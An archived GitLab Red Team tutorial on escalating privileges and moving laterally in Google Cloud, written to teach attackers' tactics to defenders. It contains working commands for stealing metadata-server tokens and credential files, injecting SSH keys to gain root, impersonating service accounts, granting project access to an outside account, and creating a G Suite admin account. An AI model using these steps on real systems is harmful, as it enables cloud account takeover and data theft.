

Google Cloud privilege escalation & post-exploitation tactics

By Chris Moberly

Published: 2020-02-12 · Archived: 2026-04-06 01:54:39 UTC

Update

At GitLab we have an internal [Red Team](#) that dedicates time looking at the services and business partners we use to deliver GitLab products and services. As a [Google Cloud customer](#), we have an obvious interest in all the different ways that administrators can make devastating security related mistakes when configuring their environment. We also have a team goal of sharing our research and tooling when possible with the community. This blog post and our previous post, [Introducing Token Hunter, an open source tool for finding sensitive data in the vast, wide-open](#), are our attempts to share our knowledge with the broader security community - for our mutual benefit.

This post does not outline any new vulnerabilities in Google Cloud Platform but outlines ways that an attacker who has already gained an unprivileged foothold on a cloud instance may perform reconnaissance, privilege escalation and eventually complete compromise of an environment.

Introduction

We recently embarked on a journey to simulate malicious activity in Google Cloud Platform (GCP). The idea was to begin with the low-privilege compromise of a Linux virtual machine, and then attempt to escalate privileges and access sensitive data throughout the environment.

The problem? There just isn't a lot of information available about GCP written from an attacker's perspective. We set out to learn as much as we could about Google Cloud and how an attacker might work to abuse common design decisions. Now, we are sharing that information with you! I'll also be presenting this talk, [Plundering GCP – escalating privileges, moving laterally and stealing secrets in Google Cloud](#), in March 2020 at BSides Melbourne.

In this tutorial, we will do a very deep-dive into manual post-exploitation tactics and techniques for GCP. The specific scenario we are addressing here is the compromise of a single Linux-based virtual machine running within the Compute Engine offering. The goal is to elevate local privileges to a root account, compromise other systems within the same Google Cloud [Project](#), break out of that project into others, and even hop the fence over to G Suite if possible.

We'll also go into specific detail on how to interact with a slew of Google's cloud services to hunt for secrets and exfiltrate sensitive data.

If you're tasked with defending infrastructure in Google Cloud, this tutorial should give you a good idea of what an attacker may get up to and the types of activities you should be looking out for.

This blog also introduces several utilities targeting GCP environments:

- [gcp_firewall_enum](#): Generate targeted port scans for Compute Instances exposed to the internet.
- [gcp_enum](#): Most of the enumeration commands in this blog, consolidated to a single script.
- [gcp_misc](#): Various tools for attacking GCP environments.

No shell? No problem! Most of these techniques can be used with SSRF as well. Check out the [Leveraging SSRF](#) appendix for more info.

Basic background info

GCP is a big beast with a ton of moving parts. Here is a bit of background on items that are most relevant to the breach of a Compute Instance.

Tools

gcloud

It is likely that the box you land on will have the [GCP SDK tools](#) installed and configured. A quick way to verify that things are set up is to run the following command:

```
$ gcloud config list
```

If properly configured, you should get some output detailing the current service account and project in use.

The [gcloud command set](#) is pretty extensive, supports tab completion, and has excellent online and built-in documentation. You can also install it locally on your own machine and use it with credential data that you obtain.

Cloud APIs

The `gcloud` command is really just a way of automating [Google Cloud API](#) calls. However, you can also perform them manually. Understanding the API endpoints and functionality can be very helpful when you're operating with a very specific set of permissions, and trying to work out exactly what you can do.

You can see what the raw HTTP API call for any individual `gcloud` command is simply by appending `--log-http` to the command.

Metadata endpoint

Every Compute Instance has access to a dedicated [metadata server](#) via the IP address 169.254.169.254. You can identify it as a host file entry like the one below:

```
$ cat /etc/hosts  
[...]  
169.254.169.254 metadata.google.internal # Added by Google
```

This metadata server allows any processes running on the instance to query Google for information about the instance it runs on and the project it resides in. No authentication is required - default `curl` commands will suffice.

For example, the following command will return information specific to the Compute Instance it is run from.

```
$ curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" \  
-H "Metadata-Flavor: Google"
```

Security concepts

What you can actually do from within a compromised instance is the resultant combination of service accounts, access scopes, and IAM permissions. These are described below.

Resource hierarchy

Google Cloud uses a [Resource hierarchy](#) that is similar, conceptually, to that of a traditional filesystem. This provides a logical parent/child workflow with specific attachment points for policies and permissions.

At a high level, it looks like this:

```
Organization  
--> Folders  
    --> Projects  
        --> Resources
```

The scenario this blog addresses is the compromise of a virtual machine (called a Compute Instance), which is a resource. This resource resides in a project, probably alongside other Compute Instances, storage buckets, etc.

We will work to compromise as much as we can inside that project, and then eventually to branch out into other projects within the same organization. A full compromise of the organization itself would be great, but gaining access to confidential assets may be possible simply by exploring the resources in a single project.

Service accounts

Virtual machine instances are usually assigned a service account. Every GCP project has a [default service account](#), and this will be assigned to new Compute Instances unless otherwise specified. Administrators can choose to use either a custom account or no account at all. This service account can be used by any user or application on the machine to communicate with the Google APIs. You can run the following command to see what accounts are available to you:

```
$ gcloud auth list
```

Default service accounts will look like one of the following:

```
PROJECT_NUMBER-compute@developer.gserviceaccount.com  
PROJECT_ID@appspot.gserviceaccount.com
```

More savvy administrators will have configured a custom service account to use with the instance. This allows them to be more granular with permissions.

A custom service account will look like this:

```
SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
```

If `gcloud auth list` returns multiple accounts available, something interesting is going on. You should generally see only the service account. If there is more than one, you can cycle through each using `gcloud config set account [ACCOUNT]` while trying the various tasks in this blog.

Access scopes

The service account on a GCP Compute Instance will use OAuth to communicate with the Google Cloud APIs. When [access scopes](#) are used, the OAuth token that is generated for the instance will have a [scope](#) limitation included. This defines what API endpoints it can authenticate to. It does NOT define the actual permissions.

When using a custom service account, Google [recommends](#) that access scopes are not used and to rely totally on IAM. The web management portal actually enforces this, but access scopes can still be applied to instances using custom service accounts programatically.

There are three options when setting an access scope on a VM instance:

- Allow default access
- All full access to all cloud APIs
- Set access for each API

You can see what scopes are assigned by querying the metadata URL. Here is an example from a VM with "default" access assigned:

```
$ curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes \
-H 'Metadata-Flavor:Google'
```

```
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/trace.append
```

The most interesting thing in the default scope is `devstorage.read_only`. This grants read access to all storage buckets in the project. This can be devastating, which of course is great for us as an attacker.

Here is what you'll see from an instance with no scope limitations:

```
$ curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'M
https://www.googleapis.com/auth/cloud-platform
```

This `cloud-platform` scope is what we are really hoping for, as it will allow us to authenticate to any API function and leverage the full power of our assigned IAM permissions. It is also Google's recommendation as it forces administrators to choose only necessary permissions, and not to rely on access scopes as a barrier to an API endpoint.

It is possible to encounter some conflicts when using both IAM and access scopes. For example, your service account may have the IAM role of `compute.instanceAdmin` but the instance you've breached has been crippled with the scope limitation of `https://www.googleapis.com/auth/compute.readonly`. This would prevent you from making any changes using the OAuth token that's automatically assigned to your instance.

Identify and access management (IAM)

IAM permissions are used for fine-grained access control. There are [a lot](#) of them. The permissions are bundled together using three types of [roles](#):

- Primitive roles: Owner, Editor, and Viewer. These are the old-school way of doing things. The default service account in every project is assigned the Editor role. This is insecure and we love it.
- Predefined roles: These roles are managed by Google and are meant to be combinations of most-likely scenarios. One of our favorites is the `compute.instanceAdmin` role, as it allows for easy privilege escalation.
- Custom roles: This allows admins to group their own set of granular permissions.

As of this writing, there are 2,574 fine-grained permissions in IAM. These individual permissions are bundled together into a role. A role is connected to a member (user or service account) in what Google calls a [binding](#). Finally, this binding is applied at some level of the GCP hierarchy via a [policy](#).

This policy determines what actions are allowed - it is the intersection between accounts, permissions, resources, and (optionally) conditions.

You can try the following command to specifically enumerate roles assigned to your service account project-wide in the current project:

```
$ PROJECT=$(curl http://metadata.google.internal/computeMetadata/v1/project/project-id \
-H "Metadata-Flavor: Google" -s)
$ ACCOUNT=$(curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email \
-H "Metadata-Flavor: Google" -s)
$ gcloud projects get-iam-policy $PROJECT \
--flatten="bindings[].members" \
--format='table(bindings.role)' \
--filter="bindings.members:$ACCOUNT"
```

Don't worry too much if you get denied access to the command above. It's still possible to work out what you can do simply by trying to do it.

More generally, you can shorten the command to the following to get an idea of the roles assigned project-wide to all members.

```
$ gcloud projects get-iam-policy [PROJECT-ID]
```

Or to see the IAM policy [assigned to a single Compute Instance](#) you can try the following.

```
$ gcloud compute instances get-iam-policy [INSTANCE] --zone [ZONE]
```

There are similar commands for various other APIs. Consult the documentation if you need one other than what is shown above.

Default credentials

Default service account token

The metadata server available to a given instance will provide any user/process on that instance with an OAuth token that is automatically used as the default credentials when communicating with Google APIs via the `gcloud` command.

You can retrieve and inspect the token with the following curl command:

```
$ curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
```

Which will receive a response like the following:

```
{
  "access_token": "ya29.AHES6ZRN3-HlhAPya30GnW_bHSb_QtAS08i85nHq39HE3C2LTrCARA",
  "expires_in": 3599,
  "token_type": "Bearer"
}
```

This token is the combination of the service account and access scopes assigned to the Compute Instance. So, even though your service account may have every IAM privilege imaginable, this particular OAuth token might be limited in the APIs it can communicate with due to access scopes.

Application default credentials

As an alternative to first pulling a token from the metadata server, Google also has a strategy called [Application Default Credentials](#). When using one of Google's official GCP client libraries, the code will automatically go searching for credentials to use in a defined order.

The very first location it would check would be the [source code itself](#). Developers can choose to statically point to a service account key file.

The next is an environment variable called `GOOGLE_APPLICATION_CREDENTIALS`. This can be set to point to a service account key file. Look for the variable itself set in the context of a system account or for references to setting it in scripts and instance metadata.

Finally, if neither of these are provided, the application will revert to using the default token provided by the metadata server as described in the section above.

Finding the actual JSON file with the service account credentials is generally much more desirable than relying on the OAuth token on the metadata server. This is because the raw service account credentials can be activated without the burden of access scopes and without the short expiration period usually applied to the tokens.

This section will provide some tips on quick wins for local privilege escalation. If they work right away, great! While getting root locally seems like a logical starting point, though, hacking in the real world is rarely this organized. You may find that you need to jump ahead and grab additional secrets from a later step before you can escalate with these methods.

Don't feel discouraged if you can't get local root right away - keep reading and follow the path that naturally unfolds.

Follow the scripts!

Compute Instances are there to do things. To do things in Google, they will use their service accounts. And to do things with those service accounts, they likely use scripts!

Often, we'll find ourselves on a Compute Instance and fail to enumerate things like available storage buckets, crypto keys, other instances, etc., due to permission denied errors. IAM permissions are very granular, meaning you can grant permissions to individual resources without granting the permission to list what those resources are.

A great hypothetical example of this is a Compute Instance that has permission to read/write backups to a storage bucket called `instance82736-long-term-xyz-archive-0332893`.

Running `gsutil ls` from the command line returns nothing, as the service account is lacking the `storage.buckets.list` IAM permission. However, if you ran `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` you may find a complete filesystem backup, giving you clear-text access to data that your local Linux account lacks.

But how would you know to list the contents of that very-specific bucket name? While brute-forcing buckets is a good idea, there is no way you'd find that in a word list.

But, the instance is somehow backing up to it. Probably using a script!

Look for references to the `gcloud` command in scripts within the instance's metadata, local filesystem, service unit files, etc. You may also find Python, Ruby, PHP, etc scripts using their own [GCP client libraries](#) that leverage the service account's permissions to get things done.

Scripts in general help you understand what the machine is meant to do and will help you in identifying ways to abuse that intended functionality.

Modifying the metadata

If you can modify the instance's metadata, there are numerous ways to escalate privileges locally. There are a few scenarios that can lead to a service account with this permission:

Default service account

When using the default service account, the web management console offers the following options for access scopes:

- Allow default access (default)
- Allow full access to all Cloud APIs
- Set access for each API

If option 2 was selected, or option 3 while explicitly allowing access to the compute API, then this configuration is vulnerable to escalation.

Custom service account

When using a custom service account, one of the following IAM permissions is necessary to escalate privileges:

- `compute.instances.setMetadata` (to affect a single instance)
- `compute.projects.setCommonInstanceMetadata` (to affect all instances in the project)

Although Google [recommends](#) not using access scopes for custom service accounts, it is still possible to do so. You'll need one of the following access scopes:

- <https://www.googleapis.com/auth/compute>
- <https://www.googleapis.com/auth/cloud-platform>

Add SSH keys to custom metadata

Linux systems on GCP will typically be running [Python Linux Guest Environment for Google Compute Engine](#) scripts. One of these is the [accounts daemon](#), which periodically queries the instance metadata endpoint for changes to the authorized SSH public keys.

If a new public key is encountered, it will be processed and added to the local machine. Depending on the format of the key, it will either be added to the `~/.ssh/authorized_keys` file of an existing user or will create a new user with `sudo` rights.

So, if you can modify custom instance metadata with your service account, you can escalate to root on the local system by gaining SSH rights to a privileged account. If you can modify custom project metadata, you can escalate to root on any system in the current GCP project that is running the accounts daemon.

Add SSH key to existing privileged user

Let's start by adding our own key to an existing account, as that will probably make the least noise. You'll want to be careful not to wipe out any keys that already exist in metadata, as that may tip your target off.

Check the instance for existing SSH keys. Pick one of these users as they are likely to have sudo rights.

```
$ gcloud compute instances describe [INSTANCE] --zone [ZONE]
```

Look for a section like the following:

```
...
metadata:
  fingerprint: QCZfVTI1Kgs=
  items:
  ...
  - key: ssh-keys
    value: |-
      alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQCSQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTA0ISStPmBKx1eN5ozS
      bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQAC2fNZLw22d3mIAcfRV24bmIrOUUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1Na:
  ...
```

Notice the slightly odd format of the public keys - the username is listed at the beginning (followed by a colon) and then again at the end. We'll need to match this format. Unlike normal SSH key operation, the username absolutely matters!

Save the lines with usernames and keys in a new text file called `meta.txt`.

Let's assume we are targeting the user `alice` from above. We'll generate a new key for ourselves like this:

```
$ ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
```

Take the output of the command above and use it to add a line to the `meta.txt` file you create above, ensuring to add `alice:` to the beginning of your new public key.

`meta.txt` should now look something like this, including the existing keys and the new key you just generated:

```
alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQCSQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTA0ISStPmBKx1eN5ozS
bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQAC2fNZLw22d3mIAcfRV24bmIrOUUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4
alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDnthNXHxi31LX8P1sGdIF/wLWmI0fPzuMrv7Z6rqNngDY0u0FTpM1Sx/vfvezJNY+bor
```

Now, you can re-write the SSH key metadata for your instance with the following command:

```
$ gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
```

You can now access a shell in the context of `alice` as follows:

```
lowpriv@instance:~$ ssh -i ./key alice@localhost
alice@instance:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)
```

Create a new privileged user

No existing keys found when following the steps above? No one else interesting in `/etc/passwd` to target?

You can follow the same process as above, but just make up a new username. This user will be created automatically and given rights to `sudo`. Scripted, the process would look like this:

```
# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
```

Grant sudo to existing session

This one is so easy, quick, and dirty that it feels wrong...

```
$ gcloud compute ssh [INSTANCE NAME]
```

This will generate a new SSH key, add it to your existing user, and add your existing username to the `google-sudoers` group, and start a new SSH session. While it is quick and easy, it may end up making more changes to the target system than the previous methods.

We'll talk about this again for lateral movement, but it works perfectly fine for local privilege escalation as well.

Using OS Login

[OS Login](#) is an alternative to managing SSH keys. It links a Google user or service account to a Linux identity, relying on IAM permissions to grant or deny access to Compute Instances.

OS Login is [enabled](#) at the project or instance level using the metadata key of `enable-oslogin = TRUE` .

OS Login with two-factor authentication is [enabled](#) in the same manner with the metadata key of `enable-oslogin-2fa = TRUE` .

The following two IAM permissions control SSH access to instances with OS Login enabled. They can be applied at the project or instance level:

- `roles/compute.osLogin` (no sudo)
- `roles/compute.osAdminLogin` (has sudo)

Unlike managing only with SSH keys, these permissions allow the administrator to control whether or not `sudo` is granted.

If you're lucky, your service account has these permissions. You can simply run the `gcloud compute ssh [INSTANCE]` command to [connect manually as the service account](#). Two-factor is only enforced when using user accounts, so that should not slow you down even if it is assigned as shown above.

Similar to using SSH keys from metadata, you can use this strategy to escalate privileges locally and/or to access other Compute Instances on the network.

Lateral movement

You've compromised one VM inside a project. Great! Now let's get some more...

You can try the following command to get a list of all instances in your current project:

```
$ gcloud compute instances list
```

SSH'ing around

You can use the local privilege escalation tactics above to move around to other machines. Read through those sections for a detailed description of each method and the associated commands.

We can expand upon those a bit by [applying SSH keys at the project level](#), granting you permission to SSH into a privileged account for any instance that has not explicitly chosen the "Block project-wide SSH keys" option.

After you've identified the strategy for selecting or creating a new user account, you can use the following syntax.

```
$ gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
```

If you're really bold, you can also just type `gcloud compute ssh [INSTANCE]` to use your current username on other boxes.

Abusing networked services

Some GCP networking tidbits

Compute Instances are connected to networks called VPCs or [Virtual Private Clouds](#). [GCP firewall](#) rules are defined at this network level but are applied individually to a Compute Instance. Every network, by default, has two [implied firewall rules](#): allow outbound and deny inbound.

Each GCP project is provided with a VPC called `default`, which applies the following rules to all instances:

- default-allow-internal (allow all traffic from other instances on the `default` network)
- default-allow-ssh (allow 22 from everywhere)
- default-allow-rdp (allow 3389 from everywhere)
- default-allow-icmp (allow ping from everywhere)

Meet the neighbors

Firewall rules may be more permissive for internal IP addresses. This is especially true for the default VPC, which permits all traffic between Compute Instances.

You can get a nice readable view of all the subnets in the current project with the following command:

```
$ gcloud compute networks subnets list
```

And an overview of all the internal/external IP addresses of the Compute Instances using the following:

```
$ gcloud compute instances list
```

If you go crazy with nmap from a Compute Instance, Google will notice and will likely send an alert email to the project owner. This is more likely to happen if you are scanning public IP addresses outside of your current project. Tread carefully.

Enumerating public ports

Perhaps you've been unable to leverage your current access to move through the project internally, but you DO have read access to the compute API. It's worth enumerating all the instances with firewall ports open to the world - you might find an insecure application to breach and hope you land in a more powerful position.

In the section above, you've gathered a list of all the public IP addresses. You could run nmap against them all, but this may take ages and could get your source IP blocked.

When attacking from the internet, the default rules don't provide any quick wins on properly configured machines. It's worth checking for password authentication on SSH and weak passwords on RDP, of course, but that's a given.

What we are really interested in is other firewall rules that have been intentionally applied to an instance. If we're lucky, we'll stumble over an insecure application, an admin interface with a default password, or anything else we can exploit.

[Firewall rules](#) can be applied to instances via the following methods:

- [Network tags](#)
- [Service accounts](#)
- All instances within a VPC

Unfortunately, there isn't a simple `gcloud` command to spit out all Compute Instances with open ports on the internet. You have to connect the dots between firewall rules, network tags, services accounts, and instances.

We've automated this completely using [this python script](#) which will export the following:

- CSV file showing instance, public IP, allowed TCP, allowed UDP
- nmap scan to target all instances on ports ingress allowed from the public internet (0.0.0.0/0)
- masscan to target the full TCP range of those instances that allow ALL TCP ports from the public internet (0.0.0.0/0)

Full documentation on that tool is available in the [README](#).

Cloud privilege escalation

In this section, we'll talk about ways to potentially increase our privileges within the cloud environment itself.

Organization-level IAM permissions

Most of the commands in this blog focus on obtaining project-level data. However, it's important to know that permissions can be set at the highest level of "Organization" as well. If you can enumerate this info, this will give you an idea of which accounts may have access across all of the projects inside an org.

The following commands will list the policies set at this level:

```
# First, get the numeric organization ID
$ gcloud organizations list

# Then, enumerate the policies
$ gcloud organizations get-iam-policy [ORG ID]
```

Permissions you see in this output will be applied to EVERY project. If you don't have access to any of the accounts listed, continue reading to the [Service Account Impersonation](#) section below.

Bypassing access scopes

There's nothing worse than having access to a powerful service account but being limited by the access scopes of your current OAuth token. But fret not! Just the existence of that powerful account introduces risks which we might still be able to abuse.

Pop another box

It's possible that another box in the environment exists with less restrictive access scopes. If you can view the output of `gcloud compute instances list --quiet --format=json`, look for instances with either the specific scope you want or the `auth/cloud-platform all-inclusive` scope.

Also keep an eye out for instances that have the default service account assigned (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`).

Find service account keys

Google states very clearly "[Access scopes are not a security mechanism... they have no effect when making requests not authenticated through OAuth](#)".

So, if we have a powerful service account but a limited OAuth token, we need to somehow authenticate to services without OAuth.

The easiest way to do this would be to stumble across a [service account key](#) stored on the instance. These are RSA private keys that can be used to authenticate to the Google Cloud API and request a new OAuth token with no scope limitations.

You can tell which service accounts, if any, have had key files exported for them. This will let you know whether or not it's even worth hunting for them, and possibly give you some hints on where to look. The command below will help.

```
$ for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do
echo Looking for keys for $i:
gcloud iam service-accounts keys list --iam-account $i
done
```

These files are not stored on a Compute Instance by default, so you'd have to be lucky to encounter them. When a service account key file is exported from the GCP console, the default name for the file is project-id-portion-of-key-id.json. So, if your project name is `test-project` then you can search the filesystem for `test-project*.json` looking for this key file.

The contents of the file look something like this:

```
{
"type": "service_account",
"project_id": "[PROJECT-ID]",
"private_key_id": "[KEY-ID]",
"private_key": "-----BEGIN PRIVATE KEY-----\n[PRIVATE-KEY]\n-----END PRIVATE KEY-----\n",
"client_email": "[SERVICE-ACCOUNT-EMAIL]",
"client_id": "[CLIENT-ID]",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://accounts.google.com/o/oauth2/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/[SERVICE-ACCOUNT-EMAIL]"
}
```

Or, if generated from the CLI they will look like this:

```
{
"name": "projects/[PROJECT-ID]/serviceAccounts/[SERVICE-ACCOUNT-EMAIL]/keys/[KEY-ID]",
"privateKeyType": "TYPE_GOOGLE_CREDENTIALS_FILE",
"privateKeyData": "[PRIVATE-KEY]",
"validAfterTime": "[DATE]",
"validBeforeTime": "[DATE]",
"keyAlgorithm": "KEY_ALG_RSA_2048"
}
```

If you do find one of these files, you can tell the `gcloud` command to re-authenticate with this service account. You can do this on the instance, or on any machine that has the tools installed.

```
$ gcloud auth activate-service-account --key-file [FILE]
```

You can now test your new OAuth token as follows:

```
$ TOKEN=`gcloud auth print-access-token`  
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN
```

You should see `https://www.googleapis.com/auth/cloud-platform` listed in the scopes, which means you are not limited by any instance-level access scopes. You now have full power to use all of your assigned IAM permissions.

Steal gcloud authorizations

It's quite possible that other users on the same box have been running `gcloud` commands using an account more powerful than your own. You'll need local root to do this.

First, find what `gcloud` config directories exist in users' home folders.

```
$ sudo find / -name "gcloud"
```

You can manually inspect the files inside, but these are generally the ones with the secrets:

- `~/.config/gcloud/credentials.db`
- `~/.config/gcloud/legacy_credentials/ACCOUNT/adc.json`
- `~/.config/gcloud/legacy_credentials/ACCOUNT/.boto`
- `~/.credentials.json`

Now, you have the option of looking for clear text credentials in these files or simply copying the entire `gcloud` folder to a machine you control and running `gcloud auth list` to see what accounts are now available to you.

Service account impersonation

There are three ways in which you can [impersonate another service account](#):

- Authentication using RSA private keys (covered [above](#))
- Authorization using Cloud IAM policies (covered below)
- Deploying jobs on GCP services (more applicable to the compromise of a user account)

It's possible that the service account you are currently authenticated as has permission to impersonate other accounts with more permissions and/or a less restrictive scope. This behavior is authorized by the predefined role called `iam.serviceAccountTokenCreator`.

A good example here is that you've compromised an instance running as a custom service account with this role, and the default service account still exists in the project. As the default service account has the primitive role of Project Editor, it is possibly even more powerful than the custom account.

Even better, you might find a service account with the primitive role of Owner. This gives you full permissions, and is a good target to then grant your own Google account rights to log in to the project using the web console.

`gcloud` has a `--impersonate-service-account` [flag](#) which can be used with any command to execute in the context of that account.

To give this a shot, you can try the following:

```
# View available service accounts
$ gcloud iam service-accounts list

# Impersonate the account
$ gcloud compute instances list \
  --impersonate-service-account xxx@developer.gserviceaccount.com
```

Exploring other projects

If you're really lucky, either the service account on your compromised instance or another account you've bagged thus far has access to additional GCP projects. You can check with the following command:

```
$ gcloud projects list
```

From here, you can hop over to that project and start the entire process over.

```
$ gcloud config set project [PROJECT-ID]
```

Granting access to management console

Access to the [GCP management console](#) is provided to user accounts, not service accounts. To log in to the web interface, you can grant access to a Google account that you control. This can be a generic "@gmail.com" account, it does not have to be a member of the target organization.

To grant the primitive role of Owner to a generic "@gmail.com" account, though, you'll need to use the web console. `gcloud` will error out if you try to grant it a permission above Editor.

You can use the following command to grant a user the primitive role of Editor to your existing project:

```
$ gcloud projects add-iam-policy-binding [PROJECT] \  
--member user:[EMAIL] --role roles/editor
```

If you succeeded here, try accessing the web interface and exploring from there.

This is the highest level you can assign using the `gcloud` tool. To assign a permission of Owner, you'd need to use the console itself.

You need a fairly high level of permission to do this. If you're not quite there, keep reading.

Spreading to G Suite via domain-wide delegation of authority

[G Suite](#) is Google's collaboration and productivity platform which consists of things like Gmail, Google Calendar, Google Drive, Google Docs, etc. Many organizations use some or all of this platform as an alternative to traditional Microsoft AD/Exchange environments.

Service accounts in GCP can be granted the rights to programatically access user data in G Suite by impersonating legitimate users. This is known as [domain-wide delegation](#). This includes actions like reading email in Gmail, accessing Google Docs, and even creating new user accounts in the G Suite organization.

G Suite has [its own API](#), completely separate from anything else we've explored in this blog. Permissions are granted to G Suite API calls in a similar fashion to how permissions are granted to GCP APIs. However, G Suite and GCP are two different entities - being in one does not mean you automatically have access to another.

It is possible that a G Suite administrator has granted some level of G Suite API access to a GCP service account that you control. If you have access to the Web UI at this point, you can browse to IAM -> Service Accounts and see if any of the accounts have "Enabled" listed under the "domain-wide delegation" column. The column itself may not appear if no accounts are enabled. As of this writing, there is no way to do this programatically, although there is a [request for this feature](#) in Google's bug tracker.

It is not enough for you to simply enable this for a service account inside GCP. The G Suite administrator would also have to configure this in the G Suite admin console.

Whether or not you know that a service account has been given permissions inside G Suite, you can still try it out. You'll need the service account credentials exported in JSON format. You may have acquired these in an earlier step, or you may have the access required now to create a key for a service account you know to have domain-wide delegation enabled.

This topic is a bit tricky... your service account has something called a "client_email" which you can see in the JSON credential file you export. It probably looks something like `account-name@project-name.iam.gserviceaccount.com`. If you try to access G Suite API calls directly with that email, even with delegation enabled, you will fail. This is because the G Suite directory will not include the GCP service account's email addresses. Instead, to interact with G Suite, we need to actually impersonate valid G Suite users.

What you really want to do is to impersonate a user with administrative access, and then use that access to do something like reset a password, disable multi-factor authentication, or just create yourself a shiny new admin account.

We've created [this Python script](#) that can do two things - list the user directory and create a new administrative account. Here is how you would use it:

```
# Validate access only
$ ./gcp_delegation.py --keyfile ./credentials.json \
  --impersonate steve.admin@target-org.com \
  --domain target-org.com

# List the directory
$ ./gcp_delegation.py --keyfile ./credentials.json \
  --impersonate steve.admin@target-org.com \
  --domain target-org.com \
  --list

# Create a new admin account
$ ./gcp_delegation.py --keyfile ./credentials.json \
  --impersonate steve.admin@target-org.com \
  --domain target-org.com \
  --account pwned
```

You can try this script across a range of email addresses to impersonate various users. Standard output will indicate whether or not the service account has access to G Suite, and will include a random password for the new admin account if one is created.

If you have success creating a new admin account, you can log on to the [Google admin console](#) and have full control over everything in G Suite for every user - email, docs, calendar, etc. Go wild.

Source: <https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/>